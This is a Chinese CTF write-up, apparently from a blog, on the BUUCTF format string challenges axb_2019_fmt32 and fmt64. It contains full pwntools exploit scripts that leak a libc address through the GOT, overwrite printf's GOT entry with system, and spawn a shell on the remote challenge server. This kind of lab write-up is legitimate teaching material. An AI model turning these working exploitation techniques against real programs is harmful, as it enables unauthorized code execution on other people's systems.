BUUCTF axb_2019_fmt32 & fmt64

axb_2019_fmt32

直接看主程序:

发现是有一个明显的格式化字符串漏洞,发现我们没有system,也没有/bin/sh,更没有后门函数,也无法利用栈溢出,那么我们可以通过格式化字符串漏洞实现任意地址可读,修改printf_got为system地址。然后传入/bin/sh\x00,就可以get_shell。

实操:

1.寻找偏移:

我们像往常寻找32位程序偏移一样,传入四个AAAA,但是发现有一个A是在前一个地址的首位,根据小端序存储,d5 d7 ed 41 41 41 41 2d,栈中应该是这样的,说明我们在开头再补上一个A,那么便可以达到偏移8,并且地址不会被截断的情况,如下:

2.获得libc基地址,得到system地址:

知道偏移后,那么就可以通过格式化字符串任意地址可读来获得puts的真实地址(还可以选printf),如何实现呢?偏移地址是8,那么我们的payload如下构造即可:

payload = b'A' + p32(puts_got) + b'b' + b'%8$s'
p.sendafter("Please tell me:",payload)
p.recvuntil(b'b')
puts_addr = u32(p.recv(4))

#puts_addr = u32(p.recvuntil(b'\xf7')[-4:]) 不加b'b'

前面补A,在got表地址后加个b是为了接受puts的真实地址  

如此,通过LibcSearcher就可以获得libc版本(我用的是LibcSearcher3),从而得到libc基地址,获得system地址:

 

3.换got表为system_address:

函数:fmtstr_payload 

# 简述一下
def fmtstr_payload(offset, writes, write_size='', numbwritten=? )
offser -> 偏移量
writes -> 要交换的地址,用字典形式
wirte_size -> 逐byte/short/int写 
numbwritten -> printf已经输出了几个字符了

通过这个pwntools中自带的函数,我们没必要自己手搓换表了。此题要注意numbwritten的问题:

printf已经先输出了Repeater:九个字符,但是我们加了一个A字符防止地址截断,所以先输出了十个字符。

exp:

from pwn import *
from LibcSearcher3 import *
context(arch = 'i386',os = 'linux',log_level='debug')
#p = process("./fmt32")
p = remote("node5.buuoj.cn",28682)
elf = ELF("./fmt32")
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
printf_got = elf.got['printf']

# 第一部分泄露libc基地址
payload = b'A' + p32(puts_got) + b'%8$s'
p.sendafter("Please tell me:",payload)
#p.recvuntil(b'b')
puts_addr = u32(p.recvuntil(b'\xf7')[-4:])
print("[+][+][+][+] puts_address = ",hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
base = puts_addr - libc.dump('puts')
system_addr = base + libc.dump('system')
print("[+][+][+][+] sysytem_address = ",hex(system_addr))

#第二部分将printf_got 换成 system
payload1 = b'A' + fmtstr_payload(8,{printf_got:system_addr},write_size='byte',numbwritten=0xa)
p.sendafter("Please tell me:",payload1)
p.sendline(b';/bin/sh\x00') # 注意这个 ; 
p.interactive()

效果:

axb_2019_fmt64

思路一样,具体实现却有着较大的区别。

实操:

1.寻找偏移:

发现这里不需要补A了,地址没有被截断刚好就是第八个

2.获得libc基地址,得到system地址:

如同fmt32一样构造payload:

payload = p64(puts_got) + b"%8$s" 
p.sendafter("Please tell me:",payload)
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("[+][+][+][+] puts_address = ",hex(puts_addr))

结果却是各种报错,并没有接收到7f开头的地址:

为什么呢?我们看看我们接受到了什么: 

我们接收到的只有发送数据00前面的内容,为什么?因为我们发送的是字符数据,printf检测到\x00便会结束输出,它也不知道后面还有没有有用的数据,就直接结束了。那么\x00哪来的呢?看到写的脚本,我们将puts_got用p64打包成8字节数据,但实际上puts实际地址只会用到6字节,那么便有2字节的\x00多出来,那么printf遇到这个\x00就会截止,从而导致接受失败,这也是64位与32位格式化字符串漏洞的区别之一。 下图是gdb调试看到的puts真实地址。

解决办法: 

解决其实挺简单的,我们将\x00填上就行了,并且将puts_got表移到后面去:

# 注意偏移改变了 %9$sAAAA -> 8个字符,占了一个内存单元
payload = b"%9$s" + b'AAAA' + p64(puts_got)
p.sendafter("Please tell me:",payload)
p.recvuntil("Repeater:")
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("[+][+][+][+] puts_address = ",hex(puts_addr))

效果:

3.换got表为system_address:       

 通过泄露地址,图中就是我们需要改的地址,发现这两个地址,仅在红色方框内是不一样的,那么我们仅需要修改红色方框内的就行了。先思考如何去改?

答案很明显用%?$n去修改,但是直接用%$n合适吗?这里先介绍一下覆写的几种%$?n
%xc$n -> 对应的是一个int,四字节的修改
%xc$hn -> 对应的是一个short int ,双字节的修改(half n)
%xc$hhn -> 对应一个char,单字节的修改
知道这几个,可以开始修改了
[+][+][+][+]   puts_address =  0x7fcc5c dc 7690
[+][+][+][+] system_address =  0x7fcc5c d9 d390
1. dc -> d9     采用 %xc$hhn    单字节修改    high_system_addr
2. 7690 -> d390 采用 %xc$hn     双字节修改    low_system_addr
    偏移量x看下面实操

代码实现:

# 第二部分手动换got表
high_system_addr = (system_addr >> 16) & 0xff  # 单字节修改
low_system_addr = system_addr & 0xffff         # 双字节修改
# printf先收到9个字符,可见上面的fmt32
payload = "%" + str(high_system_addr - 9) + "c%?$hhn" + "%" + str(low_system_addr) + "c%?%hn"
print(len(payload)) # 22

大概脚本就是这样,但是此时我们不知道偏移量,此时payload的长度已经达到22了,在连接p64(printf_got)前的payload我们应该达到8字节的整数倍,才可以保证地址不被截断,这里我们可以将payload长度控制在32字节,加上原先的8个内存单元偏移量,那么偏移量就是12了。

完整exp:

from pwn import *
from LibcSearcher import *
context(arch = 'amd64',os = 'linux',log_level='debug')
#p = process("./fmt")
p = remote("node5.buuoj.cn",26052)
elf = ELF("./fmt")
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
printf_got = elf.got['printf']

# 第一部分泄露libc
payload = b"%9$s" + b'AAAA' + p64(puts_got) # 注意偏移
p.sendafter("Please tell me:",payload)
p.recvuntil("Repeater:")
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc = LibcSearcher('puts',puts_addr)
base = puts_addr - libc.dump('puts')
system_addr = base + libc.dump('system')
print("[+][+][+][+]   puts_address = ",hex(puts_addr))
print("[+][+][+][+] system_address = ",hex(system_addr))

# 第二部分手动换got表
high_system_addr = (system_addr >> 16) & 0xff  # 单字节修改
low_system_addr = system_addr & 0xffff         # 双字节修改
# 第一部分 : printf先收到9个字符,可见上面的fmt32
# 第二部分 : 要减去前面已经输出的字符,即high_system_addr
payload = "%" + str(high_system_addr - 9) + "c%12$hhn" + "%" + str(low_system_addr - high_system_addr) + "c%13$hn"
payload = payload.encode('utf-8') # 将str类型转化为bytes类型,才可以连接b'a'
payload = payload.ljust(32,b'a')
payload += p64(printf_got+2) + p64(printf_got) # 这不懂得可以参考下面文章
p.sendafter("Please tell me:",payload)
p.sendline(b";/bin/sh\x00")
p.interactive()

效果图:

参考:

64位格式化字符串漏洞修改got表利用详解-安全客 - 安全资讯平台 (anquanke.com)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值